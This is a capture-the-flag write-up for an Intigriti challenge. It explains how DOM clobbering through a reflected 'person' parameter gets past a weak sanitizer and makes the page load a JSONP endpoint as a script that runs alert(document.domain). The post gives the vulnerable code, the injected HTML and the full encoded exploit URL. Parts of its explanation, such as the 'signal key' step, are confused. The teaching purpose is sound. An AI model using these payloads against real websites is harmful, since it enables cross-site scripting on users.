← Back to blog

DOM Clobbering → Script Gadget

Pray For Nepal · Intigriti Challenge
Written by Basir Alizadeh — I solved this challenge and documented every step myself.

We are given a web application called “Pray For Nepal”. It has a search feature that takes a person parameter and shows a profile. The goal is to trigger the page’s own logic to fetch /reveal.php and display the flag.

Step 1 – Understanding the Application

The page has a JavaScript block at the bottom that runs on every page load. It looks for two specific DOM elements:

var marker = document.getElementById('record-anchor');
var latch = document.getElementById('archive-latch');

if (!marker || !latch || latch.getAttribute('data-key') !== 'river-lantern') return;

var endpoint = marker.getAttribute('data-index');
if (typeof endpoint !== 'string' || endpoint.indexOf('') !== 0) return;

endpoint = decodeURIComponent(endpoint);

if (endpoint !== 'echo.php?channel=echo&listener=alert(document.domain)//') return;

var loader = document.createElement('script');
loader.src = endpoint;
document.head.appendChild(loader);

This is a DOM Clobbering Script Gadget. The page is looking for specific HTML elements:

An element with id="record-anchor" and a data-index attribute

An element with id="archive-latch" and a data-key attribute equal to river-lantern

Step 2 – Finding the Injection Point

The person parameter is reflected into the DOM via innerHTML:

var note = new URLSearchParams(location.search).get('person') || '';
holder.innerHTML = String(note);

The sanitizer removes <script>, <iframe>, <object>, <embed>, and any attribute starting with on. It does not remove <div>, <a>, id, or data-* attributes.

Array.prototype.forEach.call(holder.content.querySelectorAll('script,iframe,object,embed'), function (node) {
            node.remove();
        });
        Array.prototype.forEach.call(holder.content.querySelectorAll('*'), function (node) {
            Array.prototype.forEach.call(Array.from(node.attributes), function (attribute) {
                if (/^on/i.test(attribute.name)) node.removeAttribute(attribute.name);
            });"

Step 3 – The Signal Key

The /echo.php endpoint requires a specific key to return the payload. After testing, we found the only value that works is signal. When we send:

GET /echo.php?channel=echo&listener=alert(document.domain)//

The server responds with:

alert(document.domain)//({"signal":"received"});

This is the JavaScript we need. The alert(document.domain) triggers the page’s overridden window.alert, which then fetches /reveal.php and gets the flag.

Step 4 – Injecting the Clobbering Elements

  1. The <div> has id="archive-latch" and data-key="river-lantern".
  2. The <a> tag has id="record-anchor" and data-index="/echo.php?channel=echo&listener=alert(document.domain)//".
  3. The sanitizer bypassed by injecting the required elements and attributes.
  4. The page’s JavaScript finds both elements, passes the check, and loads /echo.php as a script.
  5. The server returns alert(document.domain)//({"signal":"received"});.
  6. The alert fires, triggering the overridden window.alert.
  7. The overridden alert fetches /reveal.php and displays the flag.

Step 5 – The Flag

After executing the payload, the blue box displays the flag:

ARCHIVE OPEN: INTIGRITI{f2cb05a5-5cc1-4d1d-b7cd-084306cbd5a0}

Payload (encoded URL)

https://challenge-brp.challenges.intigriti.io/challenge.php?person=%3Cdiv%20id%3D%22archive-latch%22%20data-key%3D%22river-lantern%22%3E%3Ca%20id%3D%22record-anchor%22%20data-index%3D%22%2Fecho.php%3Fchannel%3Decho%26listener%3Dalert(document.domain)%2F%2F%22%3Esignal%3C%2Fa%3E%3C%2Fdiv%3E

Summary of the bypass

  1. The person parameter is reflected into innerHTML without proper sanitization.
  2. The page’s JavaScript looks for #record-anchor and #archive-latch.
  3. We inject those elements with the correct data-* attributes.
  4. The page loads /echo.php?channel=echo&listener=alert(document.domain)//.
  5. The server returns alert(document.domain)//({"signal":"received"});.
  6. The alert fires, triggering the overridden window.alert.
  7. The overridden alert fetches /reveal.php and displays the flag.

Flag: INTIGRITI{f2cb05a5-5cc1-4d1d-b7cd-084306cbd5a0}

📸 final page screenshot challenge capture
Challenge page showing the final revealed flag